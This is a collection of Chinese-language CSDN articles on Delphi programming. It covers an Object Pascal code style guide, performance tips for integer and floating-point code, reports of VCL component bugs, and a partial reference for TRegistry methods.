Object Pascal是一种非常清晰易读的语言。通常，你不需要在代码里加入很多空格来分隔行。以下几条提供了一些原则该如何使用空格：
4.2.2 不应当使用空格：
在方法名和左括号之间；
在.(dot)操作符之前或之后；
在一元操作符和它的操作数之间；
在一个类型和被它强制转换的表达式之间；
在左括号之后和右括号之前；
在左方括号之后和右方括号之前；
在一个封号前；
例如：
//正确用法：
function TMyClass.MyFunc(var Value: Integer);
MyPointer := @MyRecord;
MyClass := TMyClass(MyPointer);
MyInteger := MyIntegerArray[5];
//错误用法：
function TMyClass.MyFunc( var Value: Integer ) ;
MyPointer := @ MyRecord;
MyClass := TMyClass ( MyPointer ) ;
MyInteger := MyIntegerArray [ 5 ] ;

4.3 缩进
你应当总是为所有的缩进层次缩进两个空格。换句话说就是，第一层缩进两个空格，第二层缩进四个空格，第三层缩进六个空格……。不要使用制表符Tab。
当然，仍然有少量的例外。保留字象unit, uses, type, interface, implementation, initialization 和finalization总是顶格的。单元的最后一个end标识符也是顶格的。在项目文件中，program和主begin、end也是顶格的。在主begin..end块内则需要缩进至少两个空格。

4.4 续行
行应当限制在80列以内。超过80列的行应当被分成多个连续的行。所有的后续行应当排列在该声明的第一行之后，并且缩进两个字符的空格。
例如：
//正确：

function CreateWindowEx(dwExStyle: DWORD;
  lpClassName: PChar; lpWindowName: PChar;
  dwStyle: DWORD; X, Y, nWidth, nHeight: Integer;
  hWndParent: HWND; hMenu: HMENU; hInstance: HINST;
  lpParam: Pointer): HWND; stdcall;

if ((X = Y) or (Y = X) or
  (Z = P) or (F = J) then
begin
  S := J;
end;

不要在参数和它的类型之间换行，除非列表是由逗号分隔，那样的话要在最后一个参数前换行，这样类型名就在下一行开头了。冒号和它的变量之间不应该有空格，而冒号和类型名之间要有一个空格。
//正确：
procedure Foo(Param1: Integer; Param2: Integer);

//错误：
procedure Foo( Param :Integer; Param2:Integer);
一个后续行不应以一个二进制操作符开始。避免在通常不出现空白的地方割断一行，比如在方法名和它的左括号之间，或者在一个数组名和它的左方括号之间。如果你必须在上述情况下割断行，那么应当在左括号或左方括号之后换行。不要把begin放在其它代码的同一行。
例如：
//错误：

while (LongExpression1 or LongExpression2) do begin
  //DoSomething
  //DoSomethingElse;
end;

//正确

while (LongExpression1 or longExpression2) do
begin
  //DoSomething
  //DoSomethingElse;
end;

if (LongExpressiong1) or
  (LongExpression2) or
  (LongExpression3) then

5.0 注释
Object Pascal语言支持两种注释：块和单行注释。以下是一些注释用法原则：
·在单元顶部放置注释用以解释单元的用途是有益的
·在类声明前放置注释是有益的
·在方法声明前设置注释是有益的
·避免语句含义明显的注释
i := i + 1; //Add one to i
·记住，容易误解的注释比没有注释更加有害。
·避免在注释里放入看上去要失效的信息
·避免在注释的边框里嵌入星号或其他的排版符号
·零时的注释，即需要被改变或删除的注释，要在他们之前加上"???:"标记，这样易于查找。从观念上来说，所有的零时注释都应当在程序发布前删除。
// ???: Change this to call Sort when it is fixed
List.MySort;

5.1 块注释
Object Pascal支持两种类型的块注释。最常用的是一对花括号{}括起来的注释。Delphi小组尽可能的保持该注释少而简单。例如：你应当避免在你的注释里使用星号来创建图案或行。相反，使用空格来分隔你的注释，就象你在字处理文档里做的一样。你的注释里的单词应当在第一个花括号的同一行开始，就象下面从DsgnIntf.pas中摘录的一样：

{ TPropertyEditor
Edits a property of a component, or list of components,
selected into the Object Inspector. The property
editor is created based on the type of the
property being edited as determined by the types
registered by...
etc...
GetXxxValue
Gets the value of the first property in the
Properties property. Calls the appropriate
TProperty GetXxxValue method to retrieve the
value.
SetXxxValue Sets the value of all the properties
in the Properties property. Calls the appropriate
TProperty SetXxxxValue methods to set the value. }
块注释通常被用在版权注释中。也被用来注释掉一些代码行。
用于解释方法的用途的块注释应当被访在方法的声明前面。
例如：
// CORRECT

{ TMyObject.MyMethod
This routine allows you to execute code. }

procedure TMyObject.MyMethod;
begin
end;

// INCORRECT

procedure TMyObject.MyMethod;
{******************************************************
TMyObject.MyMethod
This routine allows you to execute code.
*******************************************************}
begin
end;
第二种块注释包含了两个字符，括号和星号：(* *)。这有时被称为星括号注释。这些注释一般只在代码开发时有用，它的主要好处是允许嵌套注释，注释嵌套少于两层。Object Pascal不支持同类型的注释嵌套，因此事实上只有一层嵌套：花括号在星括号里面，或者星括号在花括号里面。 只要在你不嵌套它们时，在该类型的注释中的其它类型的标准Pascal注释将被忽略。因此，你可以使用该语法注释一大块既有代码又有注释的代码：

(* procedure TForm1.Button1Click(Sender: TObject);

begin
  DoThis; // Start the process
  DoThat; // Continue iteration
  { We need a way to report errors here, perhaps using
    a try finally block ??? }
  CallMoreCode; // Finalize the process
end; *)

在本例中，整个Button1Click方法被注释掉了，包括其中的任何子注释。

5.2 单行注释
单行注释由注释符//及其引导的文本组成，在文本和注释符之间有一个空格。单行注释同代码在不同行的，要同代码有相同的缩进层次。你可以使用多个单行注释形成大的注释。
在单行注释或注释组之前要有一个空行，除非它是一个块的第一行。如果注释用于几条语句，那么注释和注释组之后要跟一个空行。如果注释仅解释它后面的一行声明，则不必跟一个空行。
例如：
// Open the database
Table1.Open;
单行注释也可以跟在他们解释的代码声明后面。这类注释有时被引用为跟踪注释。在他们和代码之间至少要有一个空格。如果有多个跟踪注释在一个代码块中同时出现，那么这些注释需要被对齐。
例如：

if (not IsVisible) then
    Exit;           // nothing to do
Inc(StrLength);     // reserve space for null terminator

要避免对每行可执行代码进行跟踪注释。在一个方法或函数的begin..end块之间限制使用注释、甚至让其为空，则在通常情况下是最好的。长的注释可以出现在方法、函数的定义之前的块注释当中。

类
6.1 类体的组织
类体的组织应当遵循下列顺序：
·域／字段声明
·方法声明
·属性定义
域／字段、属性、方法应当按它们的名称进行字母索引排列。
6.1.1 存取级别
除了由IDE生成的代码，类的范围指示符应当按以下顺序：
·private 声明
·protect声明
·public声明
·published声明
在Object Pascal中，类成员有四种存取级别：发布的、公开的、受保护的和私有的--按存取能力递减的顺序排列。默认的存取级别是published。一般，一个成员应当被赋予最合适它的最低的存取级别。例如：只能在同一单元中被其他类存取的成员就应当被声明为私有的。同时，声明低存取级别的成员也给了编译器提高优化的机会。当然，另一方面，使用低存取级别对子类的扩展造成了困难。如果有理由认为某个类在将来某个时候会被子类化，那么应当将那些需要被子类继承扩展的成员声明为受保护的，用于存取私有数据的属性也可以提供这方面的保护。
你应当禁止对数据的公开存取。数据通常在private段声明，任何对他的公开存取应当通过GetXXX、SetXXX方法或属性来操作。
6.1.8 构造函数声明
方法需要按字母索引排列。将构造函数和析构函数放在public段的开始或按照字母索引排列都是正确的。
如果有多个构造函数或你使用了多个相同的名字，那么应当根据形参列表来排列，参数少的在参数多的前面。这意味着如果存在没有参数的构造函数的话，那么它必定出现在第一个。为了和C++Builder保持最好的兼容，应当保证构造函数的参数列表的唯一性。C++不是根据构造函数的名称来调用它的，所以区别多个构造函数的唯一方法是通过它的参数列表。

6.2 方法声明
如果可能，方法声明要出现在单独一行上。
例如：
Examples:

procedure ImageUpdate(Image img, infoflags: Integer,
  x: Integer, y: Integer, w: Integer, h: Integer)

7.0 接口
接口的声明与类的声明有相同的形式：

  InterfaceName = interface([inherited Interface])
    InterfaceBody
  end;

接口声明应当被缩进两格，接口体缩进四格，end结束符缩进两格。
在接口声明中没有域／字段。但属性可以出现。
所有的接口方法天生就是公开的和抽象的，用不着在接口声明中包含此类关键字。
除非有其他的注意事项，否则接口的声明同类的声明具有相同的风格。

7.1 接口体组织
接口体的组织可以按以下的顺序：
·接口方法声明
·接口属性声明
接口方法和属性的声明和类具有相同的风格。

8.0 声明
声明是由封号结尾的一行或几行代码。单一声明只有一个封号，复合声明中有多个封号。
//这是单一声明：
A := B;

//这是复合声明：

begin
  B := C;
  A := B;
end;

8.0.1 单一声明
如果需要将一个单一声明换行，则需要参照上一行缩进两格。
//例如：

MyValue :=
  MyValue + (SomeVeryLongStatement / OtherLongStatement);

8.1.1 赋值和表达式声明
每一行最多有一条声明。
例如：

a := b + c; Inc(Count);     //错误
a := b + c;                 //正确
Inc(Count);                 //正确

8.1.2 局部变量声明
局部变量也使用驼峰格式，不要使用引导符"F"，这是为类声明中域／字段保留的。
例如：

var
  MyData: Integer;
  MyString: string;

你可以在同一行声明多个类型相同的变量：

var
  ArraySize, ArrayCount: Integer;

这种声明习惯在类声明中是不提倡。

8.1.3 数组声明
通常总是在左方括号之前和右方括号之后放置一个空格：

type
  TMyArray = array [0..100] of Char;

8.2.3 if语句
if语句至少要以两行的形式出现：
例如：
//错误:

if A = B then DoSomething;

//正确

if A = B then
  DoSomething;

如果是复合的if语句，则应当每个分隔符一个新行：
//错误：

if A = B then begin
  DoSomething;
  DoSomethingElse;
end else begin
  DoThis;
  DoThat;
end;

//正确

if A = B then
begin
  DoSomething;
  DoSomethingElse;
end
else
begin
  DoThis;
  DoThat;
end;

以下的少数变化可以被采用：
//正确

if Condition then
begin
  DoThis;
end else
begin
  DoThat;
end;

//正确

if Condition then
begin
  DoThis;
end
else
  DoSomething;

//正确

if Condition then
begin
  DoThis;
end else
  DoSoemthing;

//下面的方式可能不被关心，但却是值得赞扬的：

if Condition then
  DoThis
else DoThat;

8.2.4 for语句
Example:
// INCORRECT

  for i := 0 to 10 do begin
    DoSomething;
    DoSomethingElse;
  end;

// CORRECT

  for i := 0 to 10 do
  begin
    DoSomething;
    DoSomethingElse;
  end;

8.2.5 while 语句
Example:
// INCORRECT

  while x &lt; j  do begin
    DoSomething;
    DoSomethingElse;
  end;

// CORRECT

  while x &lt; j do
  begin
    DoSomething;
    DoSomethingElse;
  end;

8.2.6 repeat until 语句
Example:
// CORRECT

  repeat
    x := j;
    j := UpdateValue;
  until j = 25;

8.2.7 case 语句
Example:
// CORRECT

  case Control.Align of
    alLeft, alNone: NewRange := Max(NewRange, Position);
    alRight: Inc(AlignMargin, Control.Width);
  end;

// CORRECT

  case x of
    csStart:
      begin
        j := UpdateValue;
      end;
    csBegin: x := j;
    csTimeOut:
      begin
        j := x;
        x := UpdateValue;
      end;
  end;

// CORRECT

  case ScrollCode of
    SB_LINEUP, SB_LINEDOWN:
      begin
        Incr := FIncrement div FLineDiv;
        FinalIncr := FIncrement mod FLineDiv;
        Count := FLineDiv;
      end;
    SB_PAGEUP, SB_PAGEDOWN:
      begin
        Incr := FPageIncrement;
        FinalIncr := Incr mod FPageDiv;
        Incr := Incr div FPageDiv;
        Count := FPageDiv;
      end;
  else
    Count := 0;
    Incr := 0;
    FinalIncr := 0;
  end;

8.2.8 try 语句

// Correct

  try
    try
      EnumThreadWindows(CurrentThreadID, @Disable, 0);
      Result := TaskWindowList;
    except
      EnableTaskWindows(TaskWindowList);
      raise;
    end;
  finally
    TaskWindowList := SaveWindowList;
    TaskActiveWindow := SaveActiveWindow;
  end;


CSDN_文档中心_Delphi代码风格约定

Delphi代码风格约定

qingrui li 据Charles Calvert的Object Pascal Style Guide编注

注：很多用Delphi的人不注意代码风格，经常写一些不规范的代码，以致别人很难看懂且容易出错。希望本文能鼓励广大Delphi爱好者统一到标准风格，共同前进。

本文描述了格式化Delphi代码的标准风格。次风格基于Delphi开发组的编码约定。我们承认很多流行的源码使用了不同于我们的风格，但是我们强烈推荐在公共源码社区使用Borland风格。

Delphi是个漂亮的语言，优点中重要的一条即是可读性。本标准为增强可读性设计。当开发者遵循本标准，所有开发者将从统一易读的风格中受益。强化风格标准的努力可以提高源程序的价值，尤其在调试和维护周期。

InfixCaps命名风格

又叫CamelCaps，名字由几个表达意义的词组成，每个词的首字母大写，其余小写。

如：MyFile，IntToStr，Items。

Delphi不使用匈牙利表示法，而推荐意义明确的名字。如用AppName而非lpszAppName，用Successful而非bSuccess，用ClientRect而非lprectClientRect。

源文件命名

使用InfixCaps形式。如果转译C/C++头文件，则使用与原头文件相同的名字。如果需要将多个头文件合并到一个单元，则使用主要头文件的名字，如：WinBase.h、Windows.h合并为Windows.pas。

命名约定

除了保留字和指示字全部小写，其它标识符使用InfixCaps风格。

注：最近似乎倾向于局部变量和形式参数使用简单的小写或缩写词。

例外是转译头文件的标识符保留原风格。

类型名都以T打头（Type的首字母）

函数、过程、方法名使用动词或动词短语，其它标识符使用名词或名词短语。

类数据成员以F打头（Field的首字母）

枚举类型成员前冠以小写的类型缩写，一般两个字母，例：

  TBitBtnKind = (bkCustom, bkOK, bkCancel, bkHelp,
    bkYes, bkNo, bkClose, bkAbort, bkRetry,
    bkIgnore, bkAll);

返回布尔值的函数以Is打头，例：IsVisible、IsResizable

空白的使用

在适当位置插入空行，分隔代码的不同部分，如类声明间、函数实现间等。

使用空格的位置：标点的右边，二元运算符的两边

不应插入空格的位置：

  1. 方法名和其后的左括弧间
  2. .的前后
  3. 一元运算符和其操作数间
  4. 左括弧后和右括弧前
  5. 分号前

正确的例子:

function TMyClass.MyFunc(var Value: Integer);
MyPointer := @MyRecord;
MyClass := TMyClass(MyPointer);
MyInteger := MyIntegerArray[5];

错误的例子:

function TMyClass.MyFunc( var Value: Integer ) ;
MyPointer := @ MyRecord;
MyClass := TMyClass ( MyPointer ) ;
MyInteger := MyIntegerArray [ 5 ] ;

缩进

应使用两个空格的缩进，不要使用Tab字符。

begin...end间的代码要缩进，begin...end本身不缩进

续行时缩进两个空格

正确的例子：

function CreateWindowEx(dwExStyle: DWORD;
  lpClassName: PChar; lpWindowName: PChar;
  dwStyle: DWORD; X, Y, nWidth, nHeight: Integer;
  hWndParent: HWND; hMenu: HMENU; hInstance: HINST;
  lpParam: Pointer): HWND; stdcall;

if ((X = Y) or (Y = X) or
  (Z = P) or (F = J) then
begin
  S := J;
end;
while (LongExpression1 or LongExpression2) do
begin
  // DoSomething
  // DoSomethingElse;
end;

if (LongExpression1) or
  (LongExpression2) or
  (LongExpression3) then

类

类声明安下列顺序组织

  • 数据域

  • 方法

  • 属性

访问层次安下列顺序组织，但IDE自动生成的代码是例外

  • Private declarations
  • Protected declarations
  • Public declarations
  • Published declarations

构造函数和析构函数声明在方法声明的前面。由于TObject.Destroy是虚函数且TObject.Free调用的是Destroy，所以析构函数不要用其它的名字。构造函数可以用除Create外的名字，但一般最好统一用Create。

例：

  TMyClass = class(TObject)
  private
  protected
  public
  published
  end;

数据应该只在私有部分声明，并以F打头（Field的首字母）。

type
  TMyClass = class(TObject)
  private
    FMyData: Integer;
    function GetData: Integer;
    procedure SetData(Value: Integer);
  public
  published
    property MyData: Integer read GetData write SetData;
  end;

接口遵循相同规则


CSDN_文档中心_Delphi代码优化 完结篇

撰文/杜嵩 月光转载自程序员杂志第四期

局部变量

与C不同的是Delphi没有类似register的指示字，无法显式地定义一个寄存器变量，因为Delphi编译器已将这一步智能化了。有些局部变量会被自动化为寄存器变量，当然到底是哪些变量，Delphi内部是有自己的标准的，一般来说，被引用的较多的变量总是能被优化。而全局变量则无此好处。当然也有例外，以简单变量为元素的数组，作为全局变量可节约一个寄存器，而像字符串、动态数组、对象这类“堆栈变量”也不一定特意将其局部化。（之所以称它们为“堆栈变量”，是因为作为局部变量，它们仅在栈中存放一个指针，指向堆中分配的存储区，由此需要额外的入口和出口代码，Borland官方对此的解释是堆比栈快。）

局部过程

过程内部套过程，这也是Delphi独有的语法。然而调用局部过程会带来额外的栈操作，以便局部过程内可以访问其父过程的变量。因此有必要把局部过程挪出来，然后用参数传递需要的变量。

过程参数

Delphi中默认的调用约定是register，这种方式下EAX、ECX、EDX可被用来传递参数，所以过程的参数一般不要多于三个。而在对象类型的方法中，由于有了隐含的Self指针，建议参数不多于两个。

指针变量

指针是个极有用的东东，Java中弃之不用，C#中又被重拾。在Delphi中，指针为4字节大小，也可被寄存器化。有时候我们可以“暗示”编译器那么做，方法是使用with子句，比如:
with SomeStructure.SomeVar[i] do ///有些变量是类或者结构
begin
…
end;
这样，本来不会被优化的SomeStructure.SomeVar[i]就被寄存器化了。

数组

自从有了动态数组和乘法能力大幅提升的PII，链表除了在教科书里出现外，已经很少在实际编程中被使用了，事实也是如此，数组的确比传统链表快得多。
在Delphi中，数组类型有静态数组（var a:array[0..9] of byte）、动态数组（var a:array of byte）、指针数组（即指向静态数组的指针）和开放数组（仅用于参数传递）。静态数组、指针数组有速度快的好处，动态数组有大小可变的优势，权衡之下就有了折衷的办法，那就是定义的动态数组在必要时转换为指针。
值得注意的是，不加const或var修饰的动态数组会被作为形参传递，而动态数组用const修饰并不意味着你不能修改数组里的元素（不信你在上例中加上a[1]:=0;编译器不会报错）。上例中之所以没有使用High(a)而用了Length(a)是因为High调用了Length。

流程控制

对于结构化程序而言，break、continue、exit是不大被提倡的，但它们产生的代码是最简洁的，所以在编程中仍然占有一席之地。
Delphi引入了异常的概念，应当说是Object Pascal的一大进步。但异常捕捉是建立在增加额外代码的基础上的，在很少的代码外嵌套try块或是在循环内部使用异常捕捉，未免影响效率。另外，对于异常不做处理就简单丢弃也不是个好习惯。

强制类型转换

很多人习惯用absolute来进行类型转换，但这会阻止此变量成为寄存器变量。因而在过程中使用类型转换是个更好的选择。

枚举、集合

对于集合类型，增减单个元素时用include、exclude比s:=s+[a];快，这无须多言。
另外，可以用{$Zn}指示字来定义枚举类型的大小，将之定义为{$Z4}四字节可能会更快。

Pentium II带来的新问题

PII最不一般的特性就是它“超标量、多通道、乱序执行”的能力。“多通道”是指CPU内部有3个载入通道（其中两个只能载入简单指令）、5个执行通道（一个负责整数运算、一个负责整数和浮点运算、一个作地址运算，还有两个负责存取数据）和三个卸出通道；“乱序执行”则允许互不影响的指令在同一个时钟周期内、不同的通道内同时执行。这对代码执行的影响就是有些指令要执行一两个时钟周期（比如连续的浮点运算）、有些却因为并行而无需额外的执行周期（比如计算后的跳转）。以上只是概述，更详细的需要参考专门的Pentium优化指南和Intel的相关文档。

CPU视图

Delphi32的IDE中都有CPU视图（Delphi2、3中可通过修改注册表项来打开），调试时看看相应的汇编源码，以了解代码的优化情况，甚至精确计算所需的时钟周期（如果你水平足够的话），还是相当有效的。

循环语句

Delphi在编译循环语句时有自己独特而有效的方式，而且在大多数情况下工作得很好，但有时也需要自己弄些别的花样来，比如在较小的循环中使用更接近“汇编本质”的while结构。另外，对于较紧凑的循环将它们打开成非循环的代码，似乎更能适应PII下分支预测的倾向。
一个优化循环的例子:
for i:=1 to 40 do
begin
if i=20 then a[i]:=a[i]+20 else a[i]:=a[i]+10;
end
改写为:
for i:=1 to 19 do a[i]:=a[i]+10;
a[20]:=a[20]+20;
for i:=21 to 40 do a[i]:=a[i]+10;
增加了代码量，但减少了判断次数。减少循环条件判断也是增速的关键。

case语句

当case语句子界很多，不妨把它们分成几个部分，再套一层case。
当case语句的子界中有一两项常常用到，不妨把它们放在case前面用if判断。

填充和移动内存

在填充和移动大量内存时，最好自己写汇编，用32位指令实现。但使用movsd、stosd这类指令很容易遇到一个问题:数据地址或大小（尤其是后者）没有双字对齐怎么办？答案是这里是有空子可钻的，大多数数据在分配时总是默认双字对齐的，比如只考虑dword对齐。当然，鉴于这个做法会带来潜在的风险甚至bug，还是建议谨慎采用。

接口和虚方法

Object Pascal和java一样，不支持多重继承，但可以用interface实现。但在Delphi中interface意味着双重指针。
而调用一次虚方法，则需要通过对象指针得到VMT指针，再从VMT中取得方法指针，因而在必要时可以用变通的办法来实现。

代码对齐

代码对齐有增加代码大小的缺点，但它带来的速度提升的好处使这点牺牲显得值得，所以一般还是建议打开它。

代码风格

Pascal是一种优美的语言（相对于C++是一种简洁的语言--我在此并没有厚此薄彼的意思）。就我个人而言，为了优化而破坏这种优美实在心有不甘，好在Delphi并不会令我感到尴尬，反而是混乱的代码会带来问题。因此，保持良好的代码风格实在必要。

相信编译器

Borland拥有世界上最出色的编译器（当然也许更好的在你的脑子里），不仅速度快，而且编译期优化能力也是一流。因此在大多数情况下，自然的代码就能达到较高的效率，你不必为每段代码都绞尽脑汁，只要关键部分够快就行。

代码计时

在代码优化过程中，计时是一个很有效的手段，有很多这方面的软件可用。尽管不必像某些杂志上讲的那样，拿个什么xxxMark穷折腾。不过用来量化一下自己代码效率的实际提升倒是件挺有成就感的事。

写在最后

人们总是倾向于有一套美妙的规则，可以应对一切情形，可惜这对写文章无效，对代码优化同样如此。最有效的优化无过于算法的优化。因此，对编程者来予，保持一个开放的头脑，不断学习实践，才是成功的不二法门。


CSDN_文档中心_Delphi代码优化（二） 整数篇

Delphi代码优化（二） 整数篇

尽量使用32位变量

在32位代码中，32位变量是默认处理格式；16位变量（word，shortint，widechar）的运算会令处理器临时切换为16位处理模式，因而需要双倍的处理时间；相较之下，8位变量（byte，char）只要不与其它混用，却不会太慢。如果实在需要多次使用一个8或16位变量，可以考虑把它临时转换成32位变量，这只需要一步赋值：ADWord:=Aword;

避免使用子域类型

Pascal语言的一大优势便是其丰富的数据类型，Delphi之Object Pascal继承了这一传统，枚举和子域类型即属此类。但不幸的是，他们会为优化带来麻烦，因为它们的占用的字节数取决于其子域的大小。比如一个元素数不超过256个的枚举类型会占用1个字节，而例如MyYear=1900..2000则会占用两个字节，而如前文所述，16位变量是很慢的。

简化表达式

过于复杂的表达式会妨碍编译器的自动优化，这时可以考虑引入临时变量来化简表达式，这样可能（！）可以得以优化，更重要的是提高了代码的可读性。

不再畏惧乘法

PII出现以前，乘法运算是相当费时的，以至于当时的经典优化方法便是把一类特殊的乘法转变为移位运算和加法。而今，在作为标准配置的PII上，乘法和多数其它运算一样，只需要一个指令周期即可完成。当然Delphi编译器仍然会把诸如*2之类的运算优化为shl 1，这也不坏，不是吗？

临时子域类型

才揭过子域类型的短，又来说它的妙用:-p 但这也不是真正的子域类型，不过是形式上相似罢了。像以下的语句：

if ((x>=0) and (x=<10)) or ((x>=20) and (x<=30)) then …

可以改写为：

if x in [0..10,20..30] then …

子域数越多，优化效果越明显。不过除了在NOI题目里以外，天下可没有免费馅饼，这回的代价是占用一个临时寄存器。

movzx 与 xor/mov

这是读入小于32位数据的两种不同方法，后者在PII以前更具优势，而前者在PII上因其乱序执行的特性而显得更有效率。编译器对此的取舍规则似乎很复杂，必要时还是自己用嵌入汇编好了。

大整数运算

对付大整数（超过32位的），你有四种武器（为什么不是七种？问Borland，别来问我）——int64、comp、double和extended。其中除了64位整数类型int64外，其余都是浮点数，其运算都是由FPU指令实现的。这其中的comp类型，存储结构同int64一模一样，按照Borland的官方说法，comp类型已经过时，应当被int64所取代，理由很简单——整数运算总比浮点快吧。然而根据一项在PII上进行的测试，int64除了在加减运算中具有无可比拟的优势外，在乘除方面，竟比浮点数还慢！

好在还有老当益壮的comp，只是稍有些繁琐。

首先将变量声明为int64，并声明两个辅助元：

var

a,b,c,d,e: int64;

ca:comp absolute a;

cc:comp absolute c;

加减法不用变，除法就如下处理：

c:=trunc(ca/b); //is faster than c:= a div b

乘法这么来：

e:=round(ca*b+cc*d); //is faster than e:=a*b+c*d;


CSDN_文档中心_Delphi代码优化（三） 浮点篇

撰文/杜嵩 月光转载自程序员杂志第三期

忘掉extended

extended很大（10字节，如果代码对齐就有12字节），读写运算都很慢，是优化的大敌。且Delphi2-4对extended的代码对齐有bug。因此，若非必要，不要用extended。
同时，在混合浮点类型的运算中，编译器为了不丢失精度，临时变量以extended类型存储，所以要避免混合浮点运算。
还有，用const定义的常量，如不加指明，则也默认为extended类型。解决办法是，配合$J指示字，定义指明类型常量（typed constand）。

改变FPU控制字

默认的FPU控制字令除法运算和PII/PIII上的平方根运算慢而精确，当无须得到这样的结果时，可用Set8087CW让FPU“偷懒”。
对于Single类型:Set8087CW(Default8087CW and $FCFF)
对于Double类型:Set8087CW((Default8087CW and $FCFF) or $0200)
对于extended类型:Set8087CW(Default8087CW or $0300)

多用Round

Trunc会读写FPU指令字，而Round不会，所以可以的话，尽量用Round。

传送实参

对于返回浮点值的函数，入口和出口处会有附加的压栈退栈，对形如:
function func(x : SomeType): SomeFloat;
不妨改写为:
procedure func(x : SomeType; var fp : SomeFloat);
对于在过程中未修改的浮点形参，没必要用const修饰，因为那除了增加一个编译期检查外，别无用处。相应的对策是用var修饰为实参，强制传址。

自己动手，丰衣足食

Delphi本身不对浮点运算作任何优化，因此很多时候，还得自己用汇编来解决。
值得注意的是，Delphi中浮点异常的触发，不是在出错之后，而是在下一条浮点指令之前。因此，通常的作法是，在一次浮点操作完毕后，加一条FWAIT指令。

减少除法

除法，即多次的减法，其代价是相当昂贵的，因而有必要减少除法的次数。
另外，对于简单除法（如:a/5），编译器不一定（？！）会将其变为乘法（a*0.2），比如:
fp:=fp*3*4/5+3*4/2;
在Delphi 4中，会被编译为:
fp:=fp*3*4/5+6;
而只有:
fp:=3*4/5*fp+3*4/2;
才会被编译为:
fp:=2.4*fp+6;
鉴于编译器的繁复规则，建议这一步优化自己完成。

浮点零的检查

检查一个浮点数是否为零，如果简单的“Afloat=0”，会把0转换为浮点零。而更好的办法是这样:
对于Single类型:(Dword(pointer(Asingle))shl 1) =0
对于Double类型:
type
DoubleData=record lo,hi:Dword end;
Var
ADouble:Double;
Dd:DoubleData absolute Adouble;
begin
…
if ((dd.hi shl 1)+dd.lo)=0 then …
end;
此法在PII上有30%-40%的效率提升。


CSDN_文档中心_Delphi的BUGS之我见

下面是本人在Delphi实际的开发中发现的问题，希望能同大家一起交流。

1、TDateTimePicker的错误

TDateTimePicker控件在读写日期时有很多错误，主要是日期不能及时刷新。

随便举一个例子：

新建一个Form，然后添加一个TDateTimePicker控件，随便放一个浮动型按钮例如TSpeedButton或者TToolButton等，相信这种方式用的会很多！

在浮动按钮的Click事件中加入很简单的代码：

ShowMessage(FormatDateTime('yyyy-mm-dd',DateTimePicker1.Date));

此时你通过直接修改TDateTimePicker的时间值来修改日期，然后激活浮动按钮的Click事件，你会发现在TDateTimePicker中反映出来的日期并不是TDateTimePicker真实的日期！多试几次你会发现问题更严重！

相信Borland公司的人应该测出了此错误，但是没有修复！

现在似乎明白为什么没有日期型的DB控件！

2、TDBGrid的错误

如果你是通过TDBGrid直接读写数据，你会发现问题很致命！

随便举一个例子：

新建一个Form，然后添加一个TDBGrid，添加相应的数据关联然后激活数据源，随便放一个浮动型按钮，相信这种方式用的也比较多！

在浮动按钮的Click事件中加入很简单的代码：

ShowMessage(ADOQuery1.Fields.Fields[0].AsString);

然后运行！

运行时首先选中TDBGrid中的一条数据(已经默认选中一条)，然后滚动鼠标的滚轮翻滚数据，就象大家平时上网是滚动浏览网页或者在Excel数据区滚动浏览一样，然后在TDBGrid中单击鼠标，你会发现此时在TDBGrid中实际控制了两条数据，继续则可能出现多条！

继续下去！

如果你不停的下翻直至TDBGrid中的光标在鼠标的游标之下然后点击，然后激活浮动按钮的Click事件，你会发现在TDBGrid中激活的数据与数据源中实际的当前数据根本就不一致！

在实际应用中相信会碰到这种情况：我明明选择是这条数据，但进行后继操作的为什么不是这条数据？

3、TQuickRep的错误

TQuickRep历来以使用简单，功能灵活（当然是通过添加代码来实现）而著名，当然她的缺陷之多也同样有名，这当然也不是完全Delphi的问题。

随便举一个例子：

系统主窗口是的FormStyle为fsMDIForm类型，系统中的各个窗体采用模式窗体(ShowModal)，这是一个很普通的应用。

在实际中系统主窗口往往是最大化（WindowState = wsMaximized）的，如果在模式窗体中预览报表：

QuickRep1.Preview;

如果你把报表预览窗口最小化，你会发现你根本就不能关闭任何窗口！除非通过Alt+Ctrl+Delete强行关闭！

所幸QuSoft公司已经发现了这个问题，在专业版（目前是3.6.2版）解决方案居然是在预览窗口默认是普通窗口而不是标准版中的将窗体最大化！

4、IDE开发工具的问题

相信大家至少99%以上是直接通过Delphi提供的IDE工具进行开发，在实际应用中为了减少EXE文件的大小（主要是因为调用比较大的第三方控件引起的）往往会通过取消部分VCL连接库(例如非Delphi自身的*.BPL)来完成，现在发现在Delphi中几乎不可能要么全部添加，要么都不添加！

不管你在[Build with runtime packages]中如何设置都不管用，似乎IDE工具只辨认那个Check或者CFG文件中的那个[-LU]参数而不管其它！

说明：对此目前依然没有确认是IDE工具的问题或者其它问题，只是一般认为是IDE工具的问题。

Hank

starfarm@263.net

2002.12.12


CSDN_文档中心_Delphi的TRegistry注册表类方法详解

Delphi的TRegistry注册表类方法详解

●GetDataInfo方法
Function GetDataInfo(const ValueName:String;Var Value:TRegDataInfo):Boolean;
TregDataType=(rdunknown,rdstring,rdexpandstring,rdexpandstring,rdinterger,rdbinary);
TregDataInfo=record
      Regdata:TRegDataType;数据类型
   dataSize:integer;数据大小
end
valuename:和当前键关联的数据值名称
value：返回数据的信息，如为rdstring和rdexpandstring类型，则数据大小包括字符串未尾的空结束字符。
    如果成功返回True，失败返回False，并且Value的值为zeros
rdexpandstring：是一个包含环境变量的字符串;如“%PATH%”。

●CreateKey方法
Function CreateKey(const Key:string):Boolena;
    新建一个名为Key的键，Key可以为绝对的或相对的名字，绝对名用反斜杠“\”开头，相对名是新建一个当前键的子键。新建没有值。
    成功返回True，否则返回False,如果该键已存在将不产生效果。

●DeleteKey方法
Function DeleteKey(const Key:string):Boolean;
    删除一个键及相关联的数据，在win95中子键也将被删除，NT中子键必须一个个删除。

●DeleteValue方法
Function DeleteValue (const Name:string):Boolean;
    删除当前键中指定的一个数据值name。

●GetDataSize方法
Function GetDataSize(const ValueName:string):integer;
    返回当前键中一个指定数值ValueName数据的大小。

●GetDataType方法
Function GetDataType(const Valuename;string):TRegDataType;
    返回当前键中一个指定数值Valuename数据的类型。

●GetKeyInfo方法
Function GetKeyInfo(var value:TRegkeyinfo):Boolean;
    返回当前键的信息，在于value中。
TRegkeyinfo=record
   maxsubkeylen:integer;子键名的最长值（字节）
   numvalues:integer;键值的数量
   maxvaluelen;最长的键值名的长度
   Filetime:TFileTime;最后一次更改的时间
end;

●Getkeynames方法
Procedure Getkeynames(strings:Tsrtings);
    返回当前键所有子键的名子列表串。

●Getvaluenames
Procedure Getvaluenames(strings:Tstrings);
   返回当前键所有键值名的列表串。

●Hassubkeys方法
Function hassubKeys:Boolean;
